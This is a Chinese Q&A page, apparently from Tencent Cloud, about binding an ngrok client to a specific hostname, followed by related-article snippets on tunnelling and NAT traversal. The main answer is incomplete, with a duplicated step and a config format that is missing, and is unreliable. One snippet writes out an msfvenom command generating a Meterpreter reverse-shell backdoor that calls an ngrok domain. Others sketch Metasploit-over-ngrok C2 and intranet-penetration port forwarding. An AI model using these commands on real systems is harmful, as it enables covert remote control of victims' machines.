首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

如何让ngrok客户端监听特定的主机名而不是本地主机?

要让ngrok客户端监听特定的主机名而不是本地主机,可以通过以下步骤实现:

  1. 首先,确保你已经安装了ngrok客户端,并且已经成功运行起来。
  2. 打开ngrok的配置文件,该文件通常位于ngrok客户端的安装目录下。在Windows系统中,该文件名为ngrok.cfg,在Linux和Mac系统中,该文件名为ngrok.yml。
  3. 在配置文件中,找到"tunnels"部分,这是用来定义ngrok的隧道配置的地方。
  4. 在"tunnels"部分下,添加一个新的隧道配置。配置的格式如下:
  5. 在"tunnels"部分下,添加一个新的隧道配置。配置的格式如下:
  6. 其中,"<隧道名称>"是你给该隧道起的一个名称,"<本地主机地址>"是你要将该隧道映射到的本地主机地址,"<要监听的主机名>"是你要让ngrok客户端监听的特定主机名。
  7. 保存配置文件,并重新启动ngrok客户端,使配置生效。

现在,ngrok客户端将会监听指定的主机名,并将请求转发到你指定的本地主机地址上。这样,你就可以通过ngrok来实现外网访问特定主机名的功能了。

对于腾讯云相关产品,推荐使用腾讯云的云服务器(CVM)来部署ngrok客户端,并使用腾讯云的域名解析服务(DNSPod)来管理你要监听的主机名的DNS解析。你可以通过以下链接了解更多关于腾讯云云服务器和域名解析服务的信息:

  • 腾讯云云服务器(CVM):https://cloud.tencent.com/product/cvm
  • 腾讯云域名解析服务(DNSPod):https://cloud.tencent.com/product/cns
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

ngrok+nginx实现内网穿透

ngrok1.x源码github地址 如上封面图所示 橘色屏幕笔记本是你工作机器,安装了ngrok客户端 ngrok.com所在服务器安装了ngrok服务端(ngrokd) 利用ngrok 8080...)客户端->本地机器下载上一步生成客户端->本地新建配置文件ngrok.cfg->本地运行客户端并指定配置文件->出现online则说明穿透成功 一个例子 数据准备 本机地址 IP:127.0.0.1.../ngrok -config=ngrok.cfg -log=ngrok.log start test1 方法2:(最后一个8080代表映射本地主机端口) ....监听http端口为60 nginx监听了当前服务器80端口(域名访问hccrm.ngrok.lestat.me时会直接访问到nginx监听80端口,因此需要nginx转发) server {...: 目前不知如何实现对本地虚拟主机访问(例如本地apache上httpd-vhosts中配置虚拟主机) 由于ngrok1.x已于两年前停止维护,再加上第一个问题1,因此后续准备写一篇关于frp搭建记录

4.5K70

最好用内网穿透工具合集

---- 1、ngrok ngrok 是一个反向代理,通过在公共端点和本地运行 Web 服务器之间建立一个安全通道。.../ngrok authtoken 授权码 (3)将HTTP隧道转发到本地端口80,如下图,通过外网域名即可访问到本地80端口。 ./ngrok http 80 ?.../frpc.ini (5)通过ssh访问内网服务器,假设用户名为test: ssh -p 6000 test@x.x.x.x 3、Sunny-Ngrok 一条命令解决外网访问内网问题,无需任何配置,一条命令外网访问您内网不再是距离...Ngrok客户端,支持Windows、Linux、Mac,提供python、PHP等版本。...下载地址: https://natapp.cn (1)购买隧道,设置隧道协议和本地端口。 ? (2)下载客户端,到目标主机,运行natapp。 ?

7.5K10

调试利器-SSH隧道

本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...最终目的 把运行在本地开发机上 HTTP 服务映射到外网,全世界都能通过外网 IP 服务到你本地开发机上 HTTP 服务。...例如你本地 HTTP 服务监听在 127.0.0.1:8080,你有一台公网 IP 为 12.34.56.78 服务器,通过本文介绍方法,可以全世界用户通过 http://12.34.56.78...为此你需要去外网服务器上修改 /etc/ssh/sshd_config 文件如下: GatewayPorts yes 这个选项意思是,SSH 隧道监听服务 IP 是对外开放 0.0.0.0,不是只对本机...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案缺点在于都需要再额外安装其它工具

2.7K90

调试利器-SSH隧道

本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...最终目的 把运行在本地开发机上 HTTP 服务映射到外网,全世界都能通过外网 IP 服务到你本地开发机上 HTTP 服务。...例如你本地 HTTP 服务监听在 127.0.0.1:8080,你有一台公网 IP 为 12.34.56.78 服务器,通过本文介绍方法,可以全世界用户通过 http://12.34.56.78...为此你需要去外网服务器上修改 /etc/ssh/sshd_config 文件如下: GatewayPorts yes 这个选项意思是,SSH 隧道监听服务 IP 是对外开放 0.0.0.0,不是只对本机...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案缺点在于都需要再额外安装其它工具

1.8K20

调试利器:SSH隧道

本文将教你如何通过 SSH 隧道把本地服务映射到外网,以方便调试,通常把这种方法叫内网穿透。...[1510047622607_5687_1510047668407.png] 最终目的 把运行在本地开发机上 HTTP 服务映射到外网,全世界都能通过外网 IP 服务到你本地开发机上 HTTP...例如你本地 HTTP 服务监听在 127.0.0.1:8080,你有一台公网 IP 为 12.34.56.78 服务器,通过本文介绍方法,可以全世界用户通过 http://12.34.56.78...为此你需要去外网服务器上修改 /etc/ssh/sshd_config 文件如下: GatewayPorts yes 这个选项意思是,SSH 隧道监听服务 IP 是对外开放 0.0.0.0,不是只对本机...,它有以下特点: 不需要有外网服务器,因为 ngrok 会为你提供; 只需要在本地开发机安装 ngrok 客户端,和注册 ngrok 账户; 按照服务收费; 这些代替方案缺点在于都需要再额外安装其它工具

4K00

云服务器搭建自己ngrok服务-实现内网穿透

本文介绍ngrok是什么以及如何通过开源ngrok自建服务搭建,实现内网穿透。...3.在家PC上做了一个小站点,想异地朋友看时,可以将这个站点暴露给他访问(比如我在做本地开发微信时)。...什么是内网穿透 内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号数据包不被 NAT 设备屏蔽正确路由到内网主机。...下面就相互通信主机在网络中与 NAT 设备相对位置介绍内网穿透方法。 总结一句话就是本地运行项目(没有公网IP项目),如果不使用内网穿透,只能本机访问。...用到了内网穿透,就会给一个公网ip代替本地ip,这样别人就可以访问到你本地项目啦。 [whatisngrok2] 什么叫ngrok

6.7K10

MaccaroniC2:一款功能强大纯Python命令控制框架

关于MaccaroniC2 MaccaroniC2是一款功能强大命令控制C2框架,该工具基于纯Python实现,可以帮助广大研究人员在特定场景中实现控制命令发送和结果接收。...该工具使用了功能强大AsyncSSH Python库实现其功能,该Python库提供了一个异步客户端和基于SSHv2协议服务器实现,并使用了PyNgrok封装器来集成Ngrok。...在特定场景中,目标设备需要运行AsyncSSH服务器并建立一个通向外部隧道,并随时准备接收研究人员发送命令。 命令发送方利用Ngrok官方API来获取隧道主机名和端口信息,并建立通信连接。...工具下载 由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好Python 3.x环境。...5、在Ngrok网站上创建一个免费API密钥,记录下生成密钥字符串。

15810

【内网安全】 隧道搭建&穿透上线&FRP&NPS&SPP&Ngrok&EW项目

/sunny clientid 133328291918 //控制端连接Ngrok服务器 3、客户端生成后门配置监听: msfvenom -p windows/meterpreter/reverse_tcp...lhost=free.idcfengye.com lport=10134 -f exe -o tcp.exe 注意这里生成木马是使用ngrok平台提供域名,本地kali客户端使用隧道号与平台建立连接...,靶机点击后门之后,反向连接ngrok平台提供域名,流量经过转发到本地kali上,实现内网穿透。.../nps http://IP:8080/ admin/123 2、创建客户端,生成密匙 3、添加协议隧道,绑定指向 远程绑定5566,指向本地88 -客户端: 1、连接服务端: ....在这种场景下就可以使用这些容易被忽视协议进行隧道搭建。 1、服务端: 监听本地icmp流量 .

7310

内网渗透常用端口转发与代理工具枚举

端口转发到具有公网ip主机 4444 端口 2.公网主机 上执行 Lcx.exe –listen 公网主机端口1 公网主机端口2 例如: lcx.exe –listen 4444 5555 意思是监听公网主机本机.../portmap -m 2 -p1 6666 -h2 公网主机ip -p2 7777 意思是监听来自6666端口请求,将其转发到7777端口 再在内网主机上执行: ....7.在2节点开启socks代理,并绑定在本地端口 goto 2 将当前被管理节点切换为 2 号节点。socks 1080 此时,本地1080 端口会启动个监听服务,服务提供者为2号节点。...Windows: python proxy.py -u http://10.3.3.1/test/conn.aspx -l 4444 -r 3389 -v 其中: -l 表示本地监听端口 -r 远程要转发端口...启动frp客户端: frpc.exe -c frpc.ini 更多使用方法详见 https://github.com/fatedier/frp/blob/master/README_zh.md 五、ngrok

2.9K20

Centos7搭建ngrok服务端以及配置客户端

首先我们需要准备以下: 一个主机记录为*域名(可以为二级域名) 一个通配符证书 一台有外网IP服务器(以上操作全在这台服务器上进行) git以下ngrok源码 git clone https:/...=":1314" -tunnelAddr=":1315" # domain是你上面的域名,httpAddr是HTTP端口,httpsAddr是HTTPS端口,tunnelAddr是ngrok监听端口...(你也可以不加httpAddr以及后面的参数,ngrok使用自己默认端口,这里主要是服务器已经占用了80跟443端口,所以自己指定了端口) 输出: [11:06:28 CST 2019/06/18]...编译客户端-Linux cd ngrok/ make release-client 如果是yum安装GO,那么客户端就是:ngrok/bin/ngrok 如果是下载安装GO,那么客户端就是:/usr/.../ngrok -subdomain miku -config=ngrok.cfg 80 #这句命令意思是,设置访问二级域名为miku.example.com,引用ngrok.cfg配置文件,监听本地

4K11

day8 | 如何将我服务开放给用户 | 第三届字节跳动青训营笔记

,使用该方式面临诸多问题: 流量和负载:用户规模指数级增长,文件大小越来越大,统一分 发引起较大网络流量和cpu负载 名称冲突:无法保证主机名唯一性, 同名主机添加导致服务故障 时效性:分发靠人工上传...AAAA 用来指定主机名(或域名)对应 IPv6 地址记录。 CNAME 如果需要将域名指向另一个域名,再由另一个域名提供 ip 地址,就需要添加 CNAME 记录。...2.2.3 DNS记录类型 A/AAAA: IP指向记录,用于指向IP,前者为IPv4记录,后者为IPv6记录 CNAME:别名记录,配置值为别名或主机名客户端根据别名继续解析以提取IP地址 TXT:...“提问:服务开发前期,如何低成本别人访问自己服务?.../setup 3.5如何本地服务开放外网访问 命令: .

2.7K10

Ngrok + Metasploit = 暂时性隐蔽C2

Ngrok Ngrok 是一个反向代理,通过在公共端点和本地运行 Web 服务器之间建立一个安全通道。 反向代理在计算机网络中是代理服务器一种。...服务器根据客户端请求,从其关系一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端客户端只会得知反向代理IP地址,不知道在代理服务器后面的服务器集群存在。...这里主要选择 tcp 隧道,然后本地端口也就是 Kail 要监听端口,我这里选了8888 端口(在实际攻击场景中尽量选择一些不让人怀疑高端口,例如 26458 等等,别设置例如:4444 、5555...最后 Kali 打开 MSF 控制台 msfconsole 开启监听(注意这里端口需要设置为 8888,ip设置为本地 127.0.0.1 ): msf > set lhost 127.0.0.1 msf...通过这样方式能够以最少成本去隐蔽自己,当然这种方式也不是最有效隐蔽手段,但是是最快捷方式,通过 Ngrok 能基本上能满足大部分渗透需求。 ?

1.1K20

4个Linux小技巧,帮你提高机器学习生产效率

当我们输入r awesome_video.mp4时,它会搜索awesome_video.mp4文件所在路径,并连同主机名以字符串rtransfer 形式打印出来。 ?...rtransfer作为iTerm2触发关键词,解析出主机和路径,然后调用另一个本地脚本t2。脚本t2将这个视频文件传输到临时目录,然后在该目录中打开Finder。 ?...远程访问TensorBoard 除了抓取远程文件,另一个人痛苦是访问远程服务器上TensorBoard实例。你可以设置SSH端口转发,但是哪个端口对应哪个服务器?它们都在Docker容器中。...ngrok可以你把访问本地端口变成访问URL,比如输入ngrok http 6006后,它会为你生成一个URL网址http://683acac3.ngrok.io,你可以在这个地址中查看TensorBoard...ngrok下载地址:https://ngrok.com/ 用tbplot代替TensorBoard绘图 对于运行大量metrics情形,我们需要等待较长时间TensorBoard加载所有图形。

60830

Hacking with Golang

[20210801131657.png] 这篇文章从几个知名 golang 安全项目的角度,看看 golang 在安全领域使用场景和特定。...内网穿透 这里面比较知名工具是 frp 和 ngrok,gost。...原理和上面的流程图说类似,远程 tunnel 服务为 ngrokd,本地使用 ngrok client;目前还有一些免费 tunnel 服务,用户只需要本地使用 ngrok 注册到免费公开 tunnel...Node 分为 LocalNode 和 ChainNode,chain node 是远程,需要一个 Transporter 和 一个 Connector; 本地Node 而用于接受本地请求,需要一个...网络扫描 goscan 是一个内网扫描工具,他会扫描内网 ip 空间,发送 arp 包,获取主机 ip, mac 地址,主机名,厂商等信息 xray 是一个对某个域名进行 OSINT【公开来源情报

1.8K160

Tomcat Server 文件配置详解!

Server主要任务,就是提供一个接口客户端能够访问到这个Service集合,同时维护它所包含所有的Service声明周期,包括如何初始化、如何结束服务、如何找到客户端要访问Service。...在这个例子中,Tomcat监听HTTP请求,使用是8080端口,不是正式80端口;实际上,在正式生产环境中,Tomcat也常常监听8080端口,不是80端口。...客户端通常使用主机名来标识它们希望连接服务器;该主机名也会包含在HTTP请求头中。Tomcat从HTTP头中提取出主机名,寻找名称匹配主机。如果没有匹配,请求将发送至默认主机。...每个Host组件代表Engine中一个虚拟主机;每个Context组件代表在特定Host上运行一个Web应用。 2、如何确定请求由谁处理?...(5)pattern:指定记录日志格式,本例中各项含义如下: %h:远程主机名或IP地址;如果有nginx等反向代理服务器进行请求分发,该主机名/IP地址代表是nginx,否则代表客户端

1.9K40

Jenkins 教程:使用 Ngrok 配置(SCM)Github 触发器和 Git 轮询

在本文中,我们将研究如何在作业上配置 Github 触发器,以及如何使用 Webhook 与 Github 相通,该 Webhook 指示何时轮询作业以构建对项目进行更改。...入门 01 安装和运行 Ngrok Ngrok 是一个反向代理,它接受公共地址上流量,并将该流量中继到计算机上运行 ngrok 进程,然后再中继到您指定本地地址。...因此,通过您选择任何一种方法,前往 Ngrok 并注册一个帐户。然后,您应该会看到下面的截图,其中显示了如何解压缩和运行它。 运行..../ngrok http 8080,它将指向我们 Jenkins 服务。...运行该命令后,您将收到代理主机名,如下所示: 转发 http://xxxxx.ngrok.io -> http://localhost:8080 转发 https://xxxxx.ngrok.io ->

1K10

Tomcat Server 文件配置详解!

Server主要任务,就是提供一个接口客户端能够访问到这个Service集合,同时维护它所包含所有的Service声明周期,包括如何初始化、如何结束服务、如何找到客户端要访问Service。...在这个例子中,Tomcat监听HTTP请求,使用是8080端口,不是正式80端口;实际上,在正式生产环境中,Tomcat也常常监听8080端口,不是80端口。...客户端通常使用主机名来标识它们希望连接服务器;该主机名也会包含在HTTP请求头中。Tomcat从HTTP头中提取出主机名,寻找名称匹配主机。如果没有匹配,请求将发送至默认主机。...每个Host组件代表Engine中一个虚拟主机;每个Context组件代表在特定Host上运行一个Web应用。 2、如何确定请求由谁处理?...(5)pattern:指定记录日志格式,本例中各项含义如下: %h:远程主机名或IP地址;如果有nginx等反向代理服务器进行请求分发,该主机名/IP地址代表是nginx,否则代表客户端

1.6K31

一文带你详解了解TomcatServer配置!

Server主要任务,就是提供一个接口客户端能够访问到这个Service集合,同时维护它所包含所有的Service声明周期,包括如何初始化、如何结束服务、如何找到客户端要访问Service。...在这个例子中,Tomcat监听HTTP请求,使用是8080端口,不是正式80端口;实际上,在正式生产环境中,Tomcat也常常监听8080端口,不是80端口。...客户端通常使用主机名来标识它们希望连接服务器;该主机名也会包含在HTTP请求头中。Tomcat从HTTP头中提取出主机名,寻找名称匹配主机。如果没有匹配,请求将发送至默认主机。...每个Host组件代表Engine中一个虚拟主机;每个Context组件代表在特定Host上运行一个Web应用。 2、如何确定请求由谁处理?...(5)pattern:指定记录日志格式,本例中各项含义如下: %h:远程主机名或IP地址;如果有nginx等反向代理服务器进行请求分发,该主机名/IP地址代表是nginx,否则代表客户端

82720

软件测试|测试平台开发-Flask 入门:URL组成部分详解

Host(主机):URL 主机名部分指定了 Web 服务器域名或 IP 地址。它告诉客户端应该连接到哪个服务器以获取所需资源。...例如,URL "http://example.com" 中 "example.com" 就是主机名。在 Flask 中,主机名默认为 "localhost",表示 Web 应用程序运行在本地主机上。...当我们在开发环境中运行 Flask 应用时,默认监听本地主机上。但在部署到生产环境时,我们通常会使用真实域名或 IP 地址作为主机名。...Port(端口):端口号是 Web 服务器上监听客户端请求特定端口。它允许多个网络服务在同一 IP 地址上运行。在 Flask 中,默认情况下使用端口号是 5000。...在开发 Flask 应用时,了解 URL 构成部分是至关重要,因为它们直接影响着客户端如何与服务器交互,以及服务器如何响应这些请求。

17220
领券